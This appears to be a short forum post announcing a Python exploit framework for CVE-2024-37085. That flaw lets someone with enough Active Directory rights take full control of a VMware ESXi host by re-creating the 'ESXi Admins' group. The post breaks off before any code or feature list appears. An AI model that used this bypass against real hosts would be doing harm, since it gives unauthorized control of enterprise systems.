CVE-2024-37085
VMware ESXi contains an authentication bypass vulnerability. A malicious actor with sufficient Active Directory (AD) permissions can gain full access to an ESXi host that was previously configured to use AD for user management https://blogs.vmware.com/vsphere/2012/09...ctory.html by re-creating the configured AD group ('ESXi Admins' by default) after it was deleted from AD.
So based on above descripion into this CVE and looking at the advisory patch security I was able to build a python script to exploit this vuln but everyone knows me and I dont wanted to only code this for this vuln.
So I took time to implement a entire framework in this script of attack.
Besides able to exploit the CvE above here is a full list of features:
